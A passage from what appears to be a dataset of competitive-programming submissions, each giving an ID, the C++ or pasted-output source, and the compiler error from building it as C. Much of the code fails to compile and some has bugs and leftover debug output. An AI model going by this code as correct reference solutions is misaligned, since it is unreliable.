dfs(0,l,s); } bool subq(string& s,string& fs) { int l1=s.length(); int l2=fs.length(); int i=0,j=0; while(1) { while(j<l2 && fs[j]!=s[i])j++; if(j==l2)break; i++; if(i==l1)break; } if(i==l1) { //del i=0;j=0; while(1) { while(fs[j]!=s[i])j++; fs.erase(j,1); i++; if(i==l1)break; } return true; } else return false; } int bfs(string s) { string fs; queue<rec>q; rec tmp; while(!q.empty())q.pop(); q.push((rec){s,0}); myset.clear(); while(!q.empty()) { tmp=q.front();q.pop(); int l=tmp.s.length(); for(int i=l;i>=1;i++) for(int j=1;j<=num[i];j++) { s=a[i][j]; fs=tmp.s; if(subq(s,fs) && myset.count(fs)<=0) { if(fs.length()==0)return tmp.step+1; q.push((rec){fs,tmp.step+1}); } } } return -1; } int main() { int sec; scanf("%d",&sec); while(sec--) { string s; cin>>s; pre(s); for(int i=1;i<=2;i++) for(int j=1;j<=num[i];j++) cout<<a[i][j]<<endl; int ans=bfs(s); printf("%d\n",ans); } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s580153112
p00000
C
56 5 349753 887257 417257 158120 699712 268352 52743 163008 &&&&&& 143252 46720 &&&&&& 21714778025 **** 317967 67200 &&&&&& 21714778025 **** 125712 161216 &&&&&& 5327686225 **** 162761 75392 &&&&&& 5327686225 **** **143252 46720 317967 67200 30944761625** **143252 46720 162761 75392 1202684665** **143252 46720 52743 163008 21714778025** **143252 46720 125712 161216 13416985616** **317967 67200 162761 75392 24156011300** **317967 67200 52743 163008 79522943040** **317967 67200 125712 161216 45800993281** **162761 75392 52743 163008 19780523780** **162761 75392 125712 161216 8738387377** **52743 163008 125712 161216 5327686225** 54084928500
main.c:1:1: error: expected identifier or '(' before numeric constant 1 | 56 | ^~
s210805752
p00000
C
#include<iostream> #include<cstring> #include<cstdio> #include<cstring> using namespace std; int dp[2000][2000]; char str[2001]; int main() { int _; cin>>_; while(_--) { scanf("%s",str); memset(dp,0,sizeof dp); int n = strlen(str); for(int i(n-1);i>=0;--i) for(int j(n-1);j>i;--j) { if(i==n-1||j==n-1) dp[i][j] = str[i]==str[j]; else dp[i][j] = str[i]==str[j]?dp[i+1][j+1]+1:0; } for(int j(n-1);j>0;--j) for(int i(j-1);i>=0;--i) dp[i][j] = max(dp[i+1][j],dp[i][j]); int q,l,r; cin>>q; while(q--) { scanf("%d%d",&l,&r); --l, --r; int ans(r-l+1); for(int i(1);i+l<=r;++i) ans+=max(0,r-(i+l+dp[l][i+l])+1); cout<<ans<<'\n'; } } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s588939815
p00000
C
main(,k){for(i=1;i<=9;i++)for(k=1;k<=9;k++)printf("%dx%d=%d",i,k,i*k);return 0;}
main.c:1:6: error: expected declaration specifiers or '...' before ',' token 1 | main(,k){for(i=1;i<=9;i++)for(k=1;k<=9;k++)printf("%dx%d=%d",i,k,i*k);return 0;} | ^ main.c:1:7: error: unknown type name 'k' 1 | main(,k){for(i=1;i<=9;i++)for(k=1;k<=9;k++)printf("%dx%d=%d",i,k,i*k);return 0;} | ^
s166611633
p00000
C
main(,k){for(i=1;i<=9;i++)for(k=1;k<=9;k++)printf("%dx%d=%d\n",i,k,i*k);return 0;}
main.c:1:6: error: expected declaration specifiers or '...' before ',' token 1 | main(,k){for(i=1;i<=9;i++)for(k=1;k<=9;k++)printf("%dx%d=%d\n",i,k,i*k);return 0;} | ^ main.c:1:7: error: unknown type name 'k' 1 | main(,k){for(i=1;i<=9;i++)for(k=1;k<=9;k++)printf("%dx%d=%d\n",i,k,i*k);return 0;} | ^
s219309571
p00000
C
#include<iostream> #include<stdio.h> #define xlson ch[x][0] #define xrson ch[x][1] #define rlson ch[ch[root][1]][0] using namespace std; const int N = 250000; int num[N],n; struct SPT { int pre[N],ch[N][2],sz[N],root,cnt; int mx[N],key[N]; inline void push_up(int x){ sz[x]=1+sz[xlson]+sz[xrson]; mx[x]=max(key[x],max(mx[xlson],mx[xrson])); // printf("x=%d %d %d %d %d %d\n",x,xlson,xrson,mx[xlson],mx[xrson],mx[x]); } inline void push_down(int x){} inline void rotate(int x,int kind) { int y=pre[x]; push_down(y); push_down(x); if(pre[y]) ch[pre[y]][ ch[pre[y]][1]==y ]=x; pre[x]=pre[y]; if(ch[x][kind]) pre[ch[x][kind]]=y; ch[y][!kind]=ch[x][kind]; pre[y]=x; ch[x][kind]=y; push_up(y); } inline void splay(int x,int goal) { if(x==0) return ; push_down(x); while(pre[x]!=goal) { int y=pre[x]; if(pre[y]==goal) rotate(x,ch[y][1]!=x); else{ int kind=(ch[pre[y]][1]==y); if(ch[y][kind]==x) rotate(y,!kind),rotate(x,!kind); else rotate(x,kind),rotate(x,!kind); } } push_up(x); if(goal==0) root=x; } inline void roto(int k,int goal) { int x=root; push_down(x); while(k!=sz[xlson]) { if(k<sz[xlson]) x=xlson; else{ k-=(1+sz[xlson]); x=xrson; } // printf("%d xl=%d sz=%d %d %d\n",k,xlson,sz[xlson],xrson,x); push_down(x); } splay(x,goal); } inline void newnode(int &x,int val) { x=++cnt; pre[x]=xlson=xrson=0; sz[x]=1; mx[x]=key[x]=val; } inline void build(int l,int r,int &x,int f) { if(l>r) return ; int mid=l+r>>1; newnode(x,num[mid]); build(l,mid-1,xlson,x); build(mid+1,r,xrson,x); push_up(x); // cout<<x<<" xl="<<xlson<<" xr="<<xrson<<" "<<key[x]<<" mx="<<mx[x]<<endl; } inline void init() { root=cnt=0; key[0]=mx[0]=-1; sz[0]=0; newnode(root,-1); newnode(ch[root][1],-1); pre[ch[root][1]]=root; build(1,n,rlson,ch[root][1]); push_up(ch[root][1]); push_up(root); } inline void update() { int l,val; scanf("%d%d",&l,&val); roto(l-1,0); roto(l+1,root); key[rlson]=mx[rlson]=val; // splay(rlson,0); push_up(ch[root][1]); push_up(root); } inline void query() { int l,r; scanf("%d%d",&l,&r); roto(l-1,0); roto(r+1,root); printf("%d\n",mx[rlson]); } }spt; int main() { int m; while(scanf("%d%d",&n,&m)!=-1) { for(int i=1;i<=n;++i) scanf("%d",&num[i]); spt.init(); // cout<<spt.mx[spt.root]<<endl; char s[20]; while(m--) { scanf("%s",s); if(s[0]=='Q') spt.query(); else spt.update(); } } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s138203458
p00000
C
#include<iostream> #include<stdio.h> #include<string.h> #include<algorithm> using namespace std; #define LL long long LL gcd(LL a,LL b) { while(a%=b) swap(a,b); return b; } LL lcm(LL a,LL b) { return a/gcd(a,b)*b; } int n,m; int x[50]; LL ans; void dfs(int id,int num,LL lcmn) { if(id>m) { if(!num) return; if(num%2) ans+=n/lcmn; else ans-=n/lcmn; } else { dfs(id+1,num,lcmn); dfs(id+1,num+1,lcm(x[id],lcmn)); } } int main() { int i,j,k; while(cin>>m>>n) { int cnt=1; for(i=1;i<=m;i++) { cin>>x[cnt]; if(x[cnt]) cnt++; } m=cnt-1; ans=0; dfs(1,0,1); cout<<ans<<'\n'; } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s154712757
p00000
C
#include <cstdio> #include <cstdlib> #include <cstring> #include <algorithm> #include <cmath> #include <set> #include <vector> #define MAXN 110 #define MAXM 110 using namespace std; int to[MAXN][MAXN],link[MAXN]; int n,m,k,c; bool vis[MAXN]; struct Edge{ int v,next; }edge[10005]; int head[MAXN],en; void init() { en = 0; memset(head,-1,sizeof(head)); } void addedge(int u,int v) { edge[en].v = v; edge[en].next = head[u]; head[u] = en++; } bool dfs(int u) { for(int i = head[u]; i!= -1; i=edge[i].next) { int v = edge[i].v; if(!vis[v]&&(link[v]==-1||dfs(link[v]))) { link[v] = u; vis[v]=1; return 1; } } return 0; } int solve() { memset(link,-1,sizeof(link)); int sum=0; for(int i = 0; i < n; i++) { memset(vis,0,sizeof(vis)); sum+=dfs(i); } return sum; } int cal(int mid) { int cnt=0; for(int i=0;i<n;++i) for(int j=0;j<m;++j) if(to[i][j]<=mid) addedge(i,j); cnt=solve(); init(); if(cnt>=k) return mid; else for(int i=0;i<n;++i) for(int j=0;link[i]==-1&&j<m;++j) if(to[i][j]<=mid+c) addedge(i,j); cnt+=solve(); return cnt>=k?mid+c:-1; } int main() { //freopen("/home/moor/Code/input","r",stdin); int ncase; vector<int> vec; scanf("%d",&ncase); while(ncase--) { int l=0,mid,r=0,tmp; scanf("%d%d%d%d",&n,&m,&k,&c); for(int i=0;i<n;++i) for(int j=0;j<m;++j) scanf("%d",&to[i][j]),r=max(r,to[i][j]+c); while(l<r) { mid=(l+r)/2; tmp=cal(mid); if(tmp>=0) r=tmp; else l=mid+1; } printf("%d\n",l); } return 0; }
main.c:1:10: fatal error: cstdio: No such file or directory 1 | #include <cstdio> | ^~~~~~~~ compilation terminated.
s407903498
p00000
C
#include<cstdio> #include<cstring> #include<string> #include<iostream> #include<cmath> #include<algorithm> using namespace std; int sta[1<<16],a[16],dp[16][10000],n,m,num=0; void init() { int sum=1<<m; for(int i=0;i<sum;i++) if(i&(i<<1)) continue; else sta[num++]=i; } bool fit(int x,int y) { if(x&y) return 0; return 1; } void DP() { for(int i=0;i<num;i++) if(fit(sta[i],a[1])) dp[1][i]=1; ` for(int i=2;i<=n;i++) for(int j=0;j<num;j++) if(!fit(sta[j],a[i])) continue; else { for(int k=0;k<num;k++) { if(!fit(a[i-1],sta[k])) continue; if(!fit(sta[k],sta[j])) continue; dp[i][j]=(dp[i][j]+dp[i-1][k])%100000000; } } int ans=0; for(int i=0;i<num;i++) ans=(ans+dp[n][i])%100000000; printf("%d\n",ans); } int main() { int tem; scanf("%d%d",&n,&m); for(int i=1;i<=n;i++) for(int j=1;j<=m;j++) { scanf("%d",&tem); if(tem==0) a[i]+=1<<(m-j); } init(); DP(); return 0; }
main.c:1:9: fatal error: cstdio: No such file or directory 1 | #include<cstdio> | ^~~~~~~~ compilation terminated.
s400179182
p00000
C
1 0 2 1 3 2 4 4 5 6 6 10 7 14 8 21 9 29 10 41 11 55 12 76 13 100 14 134 15 175 16 230 17 296 18 384 19 489 20 626 21 791 22 1001 23 1254 24 1574 25 1957 26 2435 27 3009 28 3717 29 4564 30 5603
main.c:1:1: error: expected identifier or '(' before numeric constant 1 | 1 0 | ^
s965409928
p00000
C
#include<iostream> #include<cstdio> #include<cmath> #include<cstring> #include<algorithm> #include<queue> #include<stack> #include<string> #define db double #define rt return #define cn const #define op operator #define cp const P & #define eps 1e-8 #define N 60 using namespace std; int sig(db x){rt (x>eps)-(x<-eps);} struct P { db x,y; P(db a=0.,db b=0.):x(a),y(b){} void in(){scanf("%lf%lf",&x,&y);} P op + (cp a){rt P(x+a.x,y+a.y);} P op - (cp a){rt P(x-a.x,y-a.y);} db op ^ (cp a){rt x*a.y -y*a.x;} db op * (cp a){ rt x*a.x + y*a.y;} P op * (cn db& a){rt P(x*a,y*a);} P T(){rt P(-y,x);} bool on(P a, P b) { P v1=a-*this,v2=b-*this; rt !sig(v1^v2) && sig(v1*v2)<=0; } db dis(P a) { rt sqrt(fabs((x-a.x)*(x-a.x) + (y-a.y)*(y-a.y))); } void out(){printf("%lf %lf **\n",x,y);} }; P jiao(P v1,P p1, P v2,P p2) { db x1=p1.x,y1=p1.y,x2=p2.x,y2=p2.y; P v; v.y=(v1.y*v2.y*(x2-x1) - v1.y*v2.x*y2 + v1.x*v2.y*y1)/(v1^v2); v.x=(v1.x*v2.x*(y2-y1) - v1.x*v2.y*x2 + v1.y*v2.x*x1)/(v2^v1); rt v; } P a[N],b[N]; P dp(P a,P b ,P p,P q,int & f) { P v=p-q; p= q+ v*0.5; v=v.T(); if(sig(v^(a-b))==0) {f=1;return NULL;} P c=jiao(a-b,a,v,p); if(c.on(a,b)) f=0; else f=1; rt c; } bool vis[N]; int solve(int s,int t,int m) { int ans=1; memset(vis,0,sizeof vis); db mi=1e100,mn=1e100; int k=0,u=0; for(int i=0;i<m;i++) { if(sig(a[s].dis(b[i])-mi)<0) { mi=a[s].dis(b[i]); k=i; } if(sig(a[t].dis(b[i])-mn)<0) { mn=a[t].dis(b[i]); u=i; } } vis[k]=1; while(k!=u) { db res=1e100; int w=k; for(int i=0;i<m;i++) if(!vis[i]) { int f; P c=dp(a[s],a[t],b[k],b[i],f); if(f==1)continue; if(sig(b[k].dis(c)-res)<0) { res=b[k].dis(c); w=i; } } k=w; vis[k]=1; ans++; } return ans-1; } int main() { int n,m,q; while(scanf("%d%d",&n,&m)!=EOF) { for(int i=0;i<n;i++) a[i].in(); for(int i=0;i<m;i++) b[i].in(); scanf("%d",&q); while(q--) { int x,y; scanf("%d%d",&x,&y); int ans=solve(x-1,y-1,m); printf("%d\n",ans); } } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s881638236
p00000
C
i=0 0 i=1 0 i=2 1 i=3 1 i=4 2 i=5 0 i=6 3 i=7 1 i=8 1 i=9 0 i=10 3 i=11 3 i=12 2 i=13 2 i=14 4 i=15 0 i=16 5 i=17 2 i=18 2 i=19 3 i=20 3 i=21 0 i=22 1 i=23 1 i=24 3 i=25 0 i=26 2 i=27 1 i=28 1 i=29 0 i=30 4 i=31 5 i=32 2 i=33 7 i=34 4 i=35 0 i=36 1 i=37 1 i=38 2 i=39 0 i=40 3 i=41 1 i=42 1 i=43 0 i=44 3 i=45 3 i=46 2 i=47 2 i=48 4 i=49 4 i=50 5 i=51 5 i=52 2 i=53 3 i=54 3 i=55 0 i=56 1 i=57 1 i=58 3 i=59 0 i=60 2 i=61 1 i=62 1 i=63 0 i=64 4 i=65 5 i=66 3 i=67 7 i=68 4 i=69 8 i=70 1 i=71 1 i=72 2 i=73 0 i=74 3 i=75 1 i=76 1 i=77 0 i=78 3 i=79 3 i=80 2 i=81 2 i=82 4 i=83 4 i=84 5 i=85 5 i=86 9 i=87 3 i=88 3 i=89 0 i=90 1 i=91 1 i=92 3 i=93 0 i=94 2 i=95 1 i=96 1 i=97 0 i=98 4 i=99 5
main.c:1:1: warning: data definition has no type or storage class 1 | i=0 0 | ^ main.c:1:1: error: type defaults to 'int' in declaration of 'i' [-Wimplicit-int] main.c:1:5: error: expected ',' or ';' before numeric constant 1 | i=0 0 | ^
s266830812
p00000
C
#include<cstdio> #include<cstring> #include<iostream> #include<algorithm> using namespace std; const int MAXN = 15010; struct Node{ int x; int y; int val; bool operator<(const Node& s)const{ return val < s.val; } }; Node node[MAXN]; Node ans[MAXN]; int n , m; int father[MAXN]; void init(){ for(int i = 0 ; i <= n ; i++) father[i] = i; } int find(int x){ if(father[x] != x) father[x] = find(father[x]); return father[x]; } void solve(){ int sum = 0; int pos = 0; sort(node , node+m); for(int i = 0 ; i < m ; i++){ int fx = find(node[i].x); int fy = find(node[i].y); if(fx != fy){ father[fx] = fy; sum = max(sum , node[i].val); ans[pos].x = node[i].x; ans[pos++].y = node[i].y; } } printf("%d\n%d\n" , sum , pos); for(int i = 0 ; i < pos ; i++) printf("%d %d\n" , ans[i].x , ans[i].y); } int main(){ int x , y , val; while(scanf("%d%d" , &n , &m) != EOF){ init(); for(int i = 0 ; i < m ; i++) scanf("%d%d%d" , &node[i].x , &node[i].y , &node[i].val); solve(); } return 0; }
main.c:1:9: fatal error: cstdio: No such file or directory 1 | #include<cstdio> | ^~~~~~~~ compilation terminated.
s470529881
p00000
C
#include <cstdio> #include <cstring> #include <cstdlib> #include <algorithm> #include <iostream> using namespace std; const int maxn=100010; const long long MOD=10007; long long sum[maxn*3][4]; long long lazyset[maxn*3], lazymult[maxn*3], lazyplus[maxn*3]; int n, l, r; long long ans; void BuildTree () { memset(sum, 0, sizeof(sum)); memset(lazyset, 0, sizeof(lazyset)); memset(lazymult, 0, sizeof(lazymult)); memset(lazyplus, 0, sizeof(lazyplus)); } void MaintanSet (int o, int L, int R, long long a) { int x=R-L+1; long long a2=a*a, a3=a2*a; a2=a2%MOD; a3=a3%MOD; sum[o][1]=(a*x)%MOD; sum[o][2]=(a2*x)%MOD; sum[o][3]=(a3*x)%MOD; } void MaintanPlus (int o, int L, int R, long long a) { int x=R-L+1; long long a2=a*a, a3=a2*a; a2=a2%MOD; a3=a3%MOD; sum[o][3]=(a3*x+3*a2*sum[o][1]+3*a*sum[o][2]+sum[o][3])%MOD; sum[o][2]=(a2*x+2*a*sum[o][1]+sum[o][2])%MOD; sum[o][1]=(a*x+sum[o][1])%MOD; } void MaintanMult (int o, int L, int R, long long a) { long long a2=a*a, a3=a2*a; a2=a2%MOD; a3=a3%MOD; sum[o][3]=(a3*sum[o][3])%MOD; sum[o][2]=(a2*sum[o][2])%MOD; sum[o][1]=(a*sum[o][1])%MOD; } void down (int o, int L, int R) { int lc=o*2, rc=lc+1; if(lazyset[o]){ MaintanSet(o, L, R, lazyset[o]); if(L!=R) lazyset[lc]=lazyset[rc]=lazyset[o]; lazyset[o]=0; return ; } if(lazymult[o]){ MaintanMult(o, L, R, lazymult[o]); if(L!=R) lazymult[lc]=lazymult[rc]=lazymult[o]; lazymult[o]=0; } if(lazyplus[o]){ MaintanPlus(o, L, R, lazyplus[o]); if(L!=R) lazyplus[lc]=lazyplus[rc]=lazyplus[o]; lazyplus[o]=0; } } void up (int o, int L, int R) { int lc=o*2, rc=lc+1; for(int i=1; i<=3; i++){ sum[o][i]=(sum[lc][i]+sum[rc][i])%MOD; } } void UpdatePlus (int o, int L, int R, long long a) { int lc=o*2, rc=lc+1; if(l<=L && R<=r){ if(lazyset[o]){ lazyset[o]+=a; lazyset[o]%=MOD; } else{ lazyplus[o]+=a; lazyplus[o]%=MOD; } } else{ down(o, L, R); int M=L+(R-L)/2; if(l<=M) UpdatePlus(lc, L, M, a); else down(lc, L, M); if(r>M) UpdatePlus(rc, M+1, R, a); else down(rc, M+1, R); up(o, L, R); } } void UpdateMult (int o, int L, int R, long long a) { int lc=o*2, rc=lc+1; if(l<=L && R<=r){ if(lazyset[o]){ lazyset[o]*=a; lazyset[o]%=MOD; } else{ lazyplus[o]*=a; lazyplus[o]%=MOD; lazymult[o]*=a; lazymult[o]%=MOD; } } else{ down(o, L, R); int M=L+(R-L)/2; if(l<=M) UpdateMult(lc, L, M, a); else down(lc, L, M); if(r>M) UpdateMult(rc, M+1, R, a); else down(rc, M+1, R); up(o, L, R); } } void UpdateSet (int o, int L, int R, long long a) { int lc=o*2, rc=lc+1; if(l<=L && R<=r){ lazyset[o]=a; } else{ down(o, L, R); int M=L+(R-L)/2; if(l<=M) UpdateSet(lc, L, M, a); else down(lc, L, M); if(r>M) UpdateSet(rc, M+1, R, a); else down(rc, M+1, R); up(o, L, R); } } void Query (int o, int L, int R, long long a) { int lc=o*2, rc=lc+1; down(o, L, R); if(l<=L && R<=r){ ans+=sum[o][a]; ans=ans%MOD; return ; } int M=L+(R-L)/2; if(l<=M) Query(lc, L, M, a); if(r>M) Query(rc, M+1, R, a); } int main() { freopen("data", "r+", stdin); int m; while(scanf("%d %d", &n, &m) && n){ BuildTree(); while(m--){ int q, x, y; long long c; scanf("%d %d %d %lld", &q, &x, &y, &c); l=x, r=y; switch(q){ case 1: UpdatePlus(1, 1, n, c); break; case 2: UpdateMult(1, 1, n, c); break; case 3: UpdateSet(1, 1, n, c); break; case 4: ans=0; Query(1, 1, n, c); printf("%lld\n", ans); break; } } } return 0; }
main.c:1:10: fatal error: cstdio: No such file or directory 1 | #include <cstdio> | ^~~~~~~~ compilation terminated.
s234599636
p00000
C
#include<iostream> #include<stdio.h> #include<string.h> using namespace std; typedef long long LL; const int N = 300050; const int mod = 1000000007; LL fac[N]; LL exp_mod(int a,int b) { if(a<0||b<0) return 0; LL ret=1,base=a; while(b) { if(b&1) ret=ret*base%mod; base=base*base%mod; b>>=1; } return ret; } void exgcd(LL a,LL b,LL &x,LL &y) { if(b==0){ x=1;y=0; }else{ exgcd(b,a%b,y,x); y-=a/b*x; } } LL C(int n,int m) { if(n<m) return 0; LL x,y; // exgcd(fac[n-m]*fac[m]%mod,mod,x,y); // x=x%mod; // if(x<0) x+=mod; x=exp_mod(fac[n-m]*fac[m]%mod,mod-2); // cout<<n<<" m="<<m<<" x="<<x<<" "<<fac[n]*x%mod<<endl; return fac[n]*x%mod; } int n,m,k,a[N]; LL ans[N]; int nm[N]; void solve() { memset(nm,0,sizeof nm); for(int i=0;i<n;++i) { scanf("%d",&a[i]); for(int j=1;j*j<=a[i];++j){ if(n%j!=0) return ; ++nm[j]; if(j!=n/j) ++nm[n/j]; } } // for(int i=1;i<=m;++i){ //// cout<<nm[i]<<" "<<n-k<<" "<<C(nm[i],n-k)<<endl; // nm[i]=C(nm[i],n-k); // } for(int i=m;i>=1;--i) { int tt=nm[i]-(n-k); ans[i]=exp_mod(m/i,k-tt)*C(nm[i],n-k)%mod*exp_mod(m/i-1,tt)%mod; // ans[i]=(ans[i]-exp_mod(m/i,k-1)*C(nm[i],n-k+1)%mod+mod)%mod; cout<<"i="<<i<<" ans="<<ans[i]<<endl; for(int j=2;j<=m/i;++j){ ans[i]=(ans[i]-ans[i*j]+mod)%mod; } } for(int i=1;i<=m;++i) printf(i==m?"%d\n":"%d ",(int)ans[i]); } int main() { fac[0]=1; for(int i=1;i<N;++i) fac[i]=fac[i-1]*i%mod; while(scanf("%d%d%d",&n,&m,&k)!=-1) solve(); return 0; } 3 5 3 1 2 3 i=5 ans=1 i=4 ans=1 i=3 ans=0 i=2 ans=8 i=1 ans=64 55 7 0 1 1
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s266140467
p00000
C
#include<algorithm> #include<cstdio> #include<cmath> #include<iostream> #define op operator #define db double #define cp const P & #define rt return #define cn const #define eps 1e-10 using namespace std; const double PI=acos(-1.0); int sig(db x){rt (x>eps)-(x<-eps);} struct P { db x,y; P(db a=0.,db b=0.):x(a),y(b){} bool op < (cp a)cn{rt sig(x-a.x)!=0 ? sig(x-a.x)<0 : sig(y-a.y)<0; } P op + (cp a)cn{rt P(x+a.x,y+a.y);} P op - (cp a)cn{rt P(x-a.x,y-a.y);} db op *(cp a)cn{rt x*a.x + y*a.y;} db op ^(cp a)cn{rt x*a.y-y*a.x;} P op * (cn db& a)cn{rt P(x*a,y*a);} void in(){scanf("%lf%lf",&x,&y);} void out(){printf("%lf %lf --\n",x,y);} P T(){rt P(-y,x);} db dis2(){rt x*x + y* y;} db dis(P a){rt sqrt((x-a.x)*(x-a.x) + (y-a.y)*(y-a.y));} db dis2(P a){rt (x-a.x)*(x-a.x) + (y-a.y)*(y-a.y);} }; struct CCL { P o; double r; CCL(){} CCL(P a,db v):o(a),r(v){} bool op < (cn CCL & a)cn{rt sig(r-a.r)<0;} void input(){ scanf("%lf%lf%lf",&o.x,&o.y,&r);} void print(){printf("%lf %lf %lf\n",o.x,o.y,r);} P getP(double e) { return o+P (r*cos(e),r*sin(e)); } int cp_L(P a,P b,P p[]) { db A = (a-b).dis2() , B = -2.*((o-a)*(b-a)), C = (a-o).dis2()-r*r , D = B*B - 4.*A*C; if(sig(D) < 0) rt 0; D=fabs(D); db u1 = (-B-sqrt(D)) / (2.*A) , u2 = (-B+sqrt(D)) / (2.*A); p[0] = a + (b-a)*u1; p[1] = a + (b-a)*u2; rt sig(D) + 1; } int cp_ccl(CCL c,P p[]) { db d=(o-c.o).dis2(); if(sig( sqrt( fabs(d) )+min(r,c.r)-max(r,c.r))<0 || sig(d)==0) rt 0; db u=(r*r - c.r*c.r)/(d+d)+0.5; P a=o+(c.o-o)*u, b=a+(c.o-o).T(); rt cp_L(a,b,p); } int cp_qie(P a,P p[]) { //if(sig(r-o.dis(a))>0) rt 0; CCL b=CCL((a+o)*0.5,o.dis(a)*0.5); rt cp_ccl(b,p); } }; int qie(CCL A,CCL B,P * a,P * b ) { int cnt=0; if(sig(A.r-B.r)<0) swap(A,B),swap(a,b); double d2=A.o.dis2(B.o); double rdiff=A.r-B.r; double rsum=A.r+B.r; if(sig(d2-rdiff*rdiff)<0) return 0; double base=atan2(B.o.y-A.o.y,B.o.x-A.o.x); if(sig(d2)==0 && sig(A.r-B.r)==0) return -1; if(sig(d2-rdiff*rdiff)==0) { a[cnt]=A.getP(base);b[cnt]=B.getP(base);cnt++; return 1; } double ang=acos(rdiff/sqrt(d2)); a[cnt]=A.getP(base+ang);b[cnt]=B.getP(base+ang);cnt++; a[cnt]=A.getP(base-ang);b[cnt]=B.getP(base-ang);cnt++; if(sig(d2-rsum*rsum)==0) { a[cnt]=A.getP(base);b[cnt]=B.getP(base+PI);cnt++; } else if(sig(d2-rsum*rsum)>0) { ang=acos(rsum/sqrt(d2)); a[cnt]=A.getP(base+ang);b[cnt]=B.getP(PI+base+ang);cnt++; a[cnt]=A.getP(base-ang);b[cnt]=B.getP(PI+base-ang);cnt++; } return cnt; } int cnt; P p[200]; CCL c[60]; struct node { P f; db d,r; bool op < (cn node& a)cn{ rt f<a.f;} void up(P a,P o,db R) { f=a; r=R; d=atan2((a-o).y,(a-o).x); } } s[2000]; int init(int m) { int k=0; for(int i=0;i<cnt;i++) { p[i].out(); for(int j=0;j<m;++j) { P b[5]; c[j].cp_qie(p[i],b); s[k++].up(b[0],c[j].o,c[j].r); s[k++].up(b[1],c[j].o,c[j].r); b[0].out(); b[1].out(); puts("*****"); } } for(int i=0;i<m;i++) { for(int j=i+1;j<m;j++) { P a[4],b[4]; qie(c[i],c[j],a,b); s[k++].up(a[0],c[i].o,c[i].r); s[k++].up(a[1],c[i].o,c[i].r); s[k++].up(b[0],c[j].o,c[j].r); s[k++].up(b[1],c[j].o,c[j].r); } } for(int i=0;i<cnt;i++) { s[k].f=p[i]; s[k].r=-1.; k++; } return k; } node q[2000]; double Graham(node *s,int n) { sort(s,s+n); q[0]=s[0]; q[1]=s[1]; int t=1; for(int i=2;i<n;i++){ while( t>0 && sig( (q[t].f-q[t-1].f)^(s[i].f-q[t-1].f) )<0) t--; q[++t]=s[i]; } int k=t; for(int i=n-2;i>=0;i--){ while( t>k && sig( (q[t].f-q[t-1].f)^(s[i].f-q[t-1].f) )<0)t--; q[++t]=s[i]; } t++; printf("%d ** %d\n",t,n); // for(int i=0;i<n;i++) // s[i].f.out(); // puts("*********"); double ans=0; for(int i=0;i<t-1;i++) { if( sig(q[i].r-q[i+1].r)==0 && sig(q[i].r) > 0) { double w=q[i+1].d-q[i].d; if(sig(w)<0) w+= 2*PI; ans+= w*q[i].r; } else ans+= q[i].f.dis(q[i+1].f); } return ans; } int main() { int n,m; while(scanf("%d%d",&m,&n)!=EOF) { cnt=0; for(int i=0;i<m;++i) c[i].input(); for(int i=0;i<n;i++) { p[cnt++].in(); p[cnt++].in(); p[cnt++].in(); } int k=init(m); double ans=Graham(s,k); printf("%.5lf\n",ans); } return 0; }
main.c:1:9: fatal error: algorithm: No such file or directory 1 | #include<algorithm> | ^~~~~~~~~~~ compilation terminated.
s979619647
p00000
C
#include <cstdio> #include <cstring> #include <cstdlib> #include <iostream> #include <algorithm> using namespace std; const int maxn=105; struct TA{ int sn, bn, n, m; int per[maxn][2]; void init (int n, int m){ this->n=n; this->m=m; int i=1, j=1; while(j<=m){ per[j++][0]=i++; if(i>n) i=1; } sn=i-1; if(sn==0) sn=n; bn=n-sn; printf("sn %d %d\n", sn, bn); } void GetEqu (){ for(int i=1; i<m; i++) per[i][1]=i+1; per[m][1]=1; } void GetBig (){ for(int i=1; i<=m; i++) per[i][1]=m+1; } void GetSml (){ int j=1, a1, a; a1=1; a=sn+1; bool which=false; while(j<=n){ int i=j; while(i<=m){ if(!which){ if(a==i) a++; if(a>n){ a=sn+1; which=true;} } else{ if(a1==i) a1++; if(a1>sn){ a1=1; which=false;} } if(which){ per[j][1]=a1;} else { per[j][1]=a;} i+=n; } j++; } } void Print (int r){ int x=per[r][0], y=per[r][1]; printf("%d %d", x, y); int j=3, i=1; while(j<=n){ while(i==x || i==y) i++; printf(" %d", i++); j++; } printf("\n"); } }ta; int main() { int n, m; while(scanf("%d %d", &n, &m)==2){ ta.init(n, m); if(n==m) ta.GetEqu(); else if(n>m) ta.GetBig(); else ta.GetSml(); for(int i=1; i<=m; i++) ta.Print(i); } return 0; }
main.c:1:10: fatal error: cstdio: No such file or directory 1 | #include <cstdio> | ^~~~~~~~ compilation terminated.
s577520276
p00000
C
#include <cstdio> #include <cstring> #include <cstdlib> #include <iostream> #include <algorithm> using namespace std; const int maxn=105; struct TA{ int sn, bn, n, m; int per[maxn][2]; void init (int n, int m){ this->n=n; this->m=m; int i=1, j=1; while(j<=m){ per[j++][0]=i++; if(i>n) i=1; } sn=i-1; if(sn==0) sn=n; bn=n-sn; //printf("sn %d %d\n", sn, bn); } void GetEqu (){ for(int i=1; i<m; i++) per[i][1]=i+1; per[m][1]=1; } void GetBig (){ for(int i=1; i<=m; i++) per[i][1]=m+1; } void GetSml (){ int j=1, a1, a; a1=0; a=sn; bool which=false; while(j<=n){ int i=j; while(i<=m){ if(!which){ a++; if(a==j) a++; if(a>n){ a=sn; which=true; } } else{ a1++; if(a1==j) a1++; if(a1>sn){ a1=0; which=false; } } if(which){ per[i][1]=a1==0?a1=1:a1;} else{ per[i][1]=a==sn?a=sn+1:a;} i+=n; } j++; } } void Print (int r){ int x=per[r][0], y=per[r][1]; printf("%d %d", x, y); int j=3, i=1; while(j<=n){ while(i==x || i==y) i++; printf(" %d", i++); j++; } printf("\n"); } }ta; int main() { int n, m; while(scanf("%d %d", &n, &m)==2){ ta.init(n, m); if(n==m) ta.GetEqu(); else if(n>m) ta.GetBig(); else ta.GetSml(); for(int i=1; i<=m; 